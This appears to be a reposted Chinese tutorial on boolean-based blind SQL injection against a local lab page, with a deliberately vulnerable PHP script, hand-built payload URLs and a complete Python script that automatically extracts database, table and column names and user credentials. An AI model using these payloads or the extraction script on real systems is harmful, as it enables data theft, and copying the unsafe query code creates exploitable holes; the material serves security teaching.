SQL注入原理-布尔盲注

这篇具有很好参考价值的文章主要介绍了SQL注入原理-布尔盲注。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

        小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。

目录

布尔盲注使用的环境

常用函数与语句

substr()函数

ord()函数 

length()函数 

实战演示 

1、判断是否存在注入点

2、尝试用报错盲注看是否能够成功爆出数据

3、使用布尔盲注来爆出数据信息

1.爆出数据库的长度

2、爆出数据库名

3、爆出表名、字段名、数据


布尔盲注使用的环境

        通常在我们在一个可以执行SQL语句查询的页面,当我们语句查询正常时,都会正常回显但是不会回显数据,而当我们语句错误时就会报错,或者无回显。如果后端代码可以输出错误信息(如PHP中的mysqli_error()),我们可以尝试使用报错盲注;但是当后端代码不支持输出错误信息(或无回显)时,我们就可以使用布尔盲注来爆出我们想要的数据。

常用函数与语句

substr()函数

substr()函数是截取字符串的函数。

使用形式substr(string,start,length)

参数string :被截取的字符串

参数start :截取的起始位置

参数length :从截取位置截取的长度

使用下面语句体验一下substr()的功能。

select substr("administrator",2,5);

SQL注入原理-布尔盲注

ord()函数 

ord()函数是返回一个字符的ASCII码。

使用形式:ord(character)

参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。

例如:

select ord('a');

SQL注入原理-布尔盲注

select ord('ab');

 SQL注入原理-布尔盲注

length()函数 

length()函数是否返回一个字符串的长度。

使用形式为length(string)

参数string :为需要输出其长度的字符串。

例如:

select length('abcdefg');

SQL注入原理-布尔盲注

实战演示 

源码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=$id limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($row) {

            echo "<center><br/>";
            echo "<h1>You have successfully executed SQL statement for querying the data with id!</h1>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            echo "Your SQL statement is error!!!";
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

SQL注入原理-布尔盲注

1、判断是否存在注入点

我们构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and 1=2”和“http://127.0.0.1/opsql/sql10.php?id=1 and 1=1”来观察页面的回显。

http://127.0.0.1/opsql/sql10.php?id=1 and 1=2
http://127.0.0.1/opsql/sql10.php?id=1 and 1=1

SQL注入原理-布尔盲注

SQL注入原理-布尔盲注        and 1=1时页面正常回显,and 1=2时页面回显error,说明我们构造的and 条件插入到了后端的SQL语句,存在注入点。

2、尝试用报错盲注看是否能够成功爆出数据

由于and 1=2时,页面也爆出了错误,我们来测试一下使用报错盲注是否行得通。

构造payload:“?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)”  

http://127.0.0.1/opsql/sql10.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

updatexml()函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。

updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们就是通过这个参数让数据库报错,继而得到我们需要的数据。
new_value,String格式,替换查找到的符合条件的数据。

其中concat()函数是把传入的值拼接成一个字符串,0x7e是~符号的ascii码的16进制,是为了方便我们找到报错的信息。database()返回当前的数据库名。  

SQL注入原理-布尔盲注

页面没有爆出数据信息,说明后端没有使用报错函数将错误信息输出,只是当SQL语句错误时,仅仅使页面打印出提示SQL语句error的信息。

这样的话我们就得使用布尔盲注来爆出数据了。

3、使用布尔盲注来爆出数据信息

1.爆出数据库名的长度

构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and length(database())=4”

http://127.0.0.1/opsql/sql10.php?id=1 and length(database())=4

SQL注入原理-布尔盲注

SQL注入原理-布尔盲注

可以看到当length(database())=3时报错,而当length(database())=4时没有报错,说明database()也没就是当前的数据库名长度为4。

我们还可以构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=18” 来判断其他的数据库名的长度。

http://127.0.0.1/opsql/sql10.php?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=18

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据。例如payload中的limit 0,1 就是取查询结果中索引为0位置后1个数据。   

通过增大num1的值来取出其他的数据库名进行判断其长度。

SQL注入原理-布尔盲注

通过回显正常得知,查询数据库名的结果中,第一个数据库名的长度为18。

其他的测试就交给小伙伴们来测试了。

2、爆出数据库名

知道数据库名长度之后就可以爆出数据库名了。

构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and substr(database(),1,1)='t'”

之后通过更改数字,来猜测完整的数据库名

http://127.0.0.1/opsql/sql10.php?id=1 and substr(database(),1,4)='test'

SQL注入原理-布尔盲注

SQL注入原理-布尔盲注

这样我们就爆出了数据库名。

我们还可以通过猜测数据库名的ASCII码,然后通过解析ascii码来爆出数据库名。

payload:“http://127.0.0.1/opsql/sql10.php?id=1 and ord(substr(database(),1,1))>110”

http://127.0.0.1/opsql/sql10.php?id=1 and ord(substr(database(),1,1))>110

SQL注入原理-布尔盲注

 SQL注入原理-布尔盲注

SQL注入原理-布尔盲注

最终成功猜测数据库名的第一个字符的acsii码为116,经查询知,ascii码为116的字符为字母‘t’。

接下来就是一点一点的爆出剩下的字符了。

3、爆出表名、字段名、数据

其实当我们能够爆出数据库名的时候,表名和字段名以及数据都已经不在话下了,只是时间问题,因为的表名或者字段名以及数据都特别的长。这时候我们不能傻傻的一个字符一个字符的在那里手工的猜解,我们可以尝试写一段脚本代码,让代码来替我们猜解。

这里我是用python写的,运行可能会需要一点时间。

代码:

import requests

baseUrl = "http://127.0.0.1/opsql/sql10.php"


def get_databases():
    """
    获取所有的数据库名
    :return: databases_name 所有的数据库名
    """
    # 判断数据库的总长度
    databases_length = 0
    for num in range(1, 200):
        payload = f"?id=1 and length((select group_concat(schema_name) from information_schema.schemata))={num}"
        res = requests.get(url=baseUrl + payload).text
        if "successfully" in res:
            databases_length = num
            break
    # 爆出所有的数据库名
    databases_name = ""
    for pos in range(1, databases_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and ord(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1))={num}"
            res = requests.get(url=baseUrl + payload).text
            if "successfully" in res:
                databases_name += chr(num)
                break
    print(databases_name)


def get_database():
    """
    获取当前的数据库名
    :return: database_name 当前数据库名称
    """
    # 判断当前数据长度
    database_length = 0
    for num in range(1, 20):
        payload = f"?id=1 and length(database())={num}"
        res = requests.get(url=baseUrl + payload).text
        if "successfully" in res:
            database_length = num
            break

    # 爆出当前数据库的名字
    database_name = ""
    for pos in range(1, database_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and ord(substr(database(),{pos},1))={num}"
            res = requests.get(url=baseUrl + payload).text
            if "successfully" in res:
                database_name += chr(num)
                break
    print(database_name)


def get_tables(table_schema):
    """
    获取指定数据库下的所有表名
    :param table_schema: 指定数据库名
    :return : tables_name 返回指定数据下所有的表名
    """
    # 判断数据库下所有表的长度
    tables_length = 0
    for num in range(0, 200):
        payload = f"?id=1 and length((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'))={num}"
        res = requests.get(url=baseUrl + payload).text
        if "successfully" in res:
            tables_length = num
            break
    # 爆出数据下所有的表名
    tables_name = ""
    for pos in range(1, tables_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'),{pos},1))={num}"
            res = requests.get(url=baseUrl + payload).text
            if "successfully" in res:
                tables_name += chr(num)
                break
    print(tables_name)


def get_columns(table_schema, table_name):
    """
    获取指定数据库指定表下的所有字段名
    :param table_schema: 指定数据库名
    :param table_name: 指定表名
    :return: columns_name 指定数据库指定表下的所有字段名
    """
    columns_length = 0
    for num in range(1, 200):
        payload = f"?id=1 and length((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'))={num}"
        res = requests.get(url=baseUrl + payload).text
        if "successfully" in res:
            columns_length = num
            break
    columns_name = ""
    for pos in range(1, columns_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'),{pos},1))={num}"
            res = requests.get(url=baseUrl + payload).text
            if "successfully" in res:
                columns_name += chr(num)
                break
    print(columns_name)


def get_data(table_schema, table_name, *column):
    """
    获取表中的数据
    :param table_schema: 只能发数据库
    :param table_name: 指定表名
    :param column: 指定字段名
    :return: 表中各个字段的数据
    """
    column_length = len(column)
    data_length = []
    for index in range(column_length):
        for num in range(0, 10000):
            payload = f"?id=1 and length((select group_concat({column[index]}) from {table_schema}.{table_name}))={num}"
            res = requests.get(url=baseUrl + payload).text
            if "successfully" in res:
                data_length.append(num)
                break

    data = []
    for index in range(column_length):
        data_item = ""
        for pos in range(1, data_length[index] + 1):
            for num in range(0, 255):
                payload = f"?id=1 and ord(substr((select group_concat({column[index]}) from {table_schema}.{table_name}),{pos},1))={num}"
                res = requests.get(url=baseUrl + payload).text
                if "successfully" in res:
                    data_item += chr(num)
                    break
        data.append(data_item)

    # 打印数据
    print("*" * 50)
    for index in range(column_length):
        print(f"{column[index]}", end="\t")
    print()
    data_item = []
    for index in range(column_length):
        data_item.append(data[index].split(","))
    for index in range(column_length):
        for item in data_item:
            print(f"{item[index]}", end="\t")
        print()
    print("*" * 50)


if __name__ == '__main__':
    get_databases()  # 获取所有的数据库名
    # get_database()  # 获取当前的数据库名
    # get_tables("test")  # 获取指定数据库下的所有表名
    # get_columns("test", "users")  # 获取指定数据库指定表中的所有字段
    # get_data("test", "users", "id", "username", "password")  # 获取数据

运行截图: 

SQL注入原理-布尔盲注

SQL注入原理-布尔盲注

SQL注入原理-布尔盲注

SQL注入原理-布尔盲注SQL注入原理-布尔盲注

这个过程可能需要的时间长一点,这也是手工注入鸡肋的一点就是慢。

OK这样我们就一步一步的通过代码利用布尔盲注得到了test数据库下users表中的所有数据。

对于其他的数据库,大家只需要改一改函数的参数就行了,剩下的任务就交给小伙伴们了!文章来源地址https://www.toymoban.com/news/detail-403089.html

到了这里,关于SQL注入原理-布尔盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SQL注入原理-时间盲注

            小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数  length()函数  实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数据库名长度 3、爆

    2023年04月10日
    浏览(53)
  • 今天给大家带来Python炫酷爱心代码

    前言: 这个是小编之前朋友一直要小编去做的,不过之前技术不够所以一直拖欠今天也完成之前的约定吧! 至于他是谁,我就不多说了直接上代码 如果有需要的话,可以联系小编噢!

    2024年02月05日
    浏览(46)
  • 布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

    「作者主页」: 士别三日wyx 「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」: 此文章已录入专栏《网络安全快速入门》 页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。 布尔盲注使用时分为两个步骤:

    2024年02月02日
    浏览(42)
  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(48)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(53)
  • SQL注入-时间盲注

    当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。 时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询

    2024年02月12日
    浏览(51)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(54)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(43)
  • 延时盲注技术:SQL 注入漏洞检测入门指南

    部分数据来源: ChatGPT  环境准备 引言         在网络安全领域中,SQL 注入漏洞一直是常见的安全隐患之一。它可以利用应用程序对用户输入的不恰当处理,导致攻击者能够执行恶意的 SQL 查询语句,进而获取、修改或删除数据库中的数据。为了帮助初学者更好地理解和

    2024年02月10日
    浏览(47)
  • 安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

    目录 一、sql注入原理  二、联合SQL注入的方法 1.总体的思路 (1)先进行闭合,进行报错 (2)进行逃逸 (3)外带数据 (4)获取库名 表名 列名 数据 (5)获取当前数据库中的数据 2.SQL注入测试 (1)先进行单双引号闭合,让页面出现页面报错 (2)然后看有几列,有两种方

    2024年02月13日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包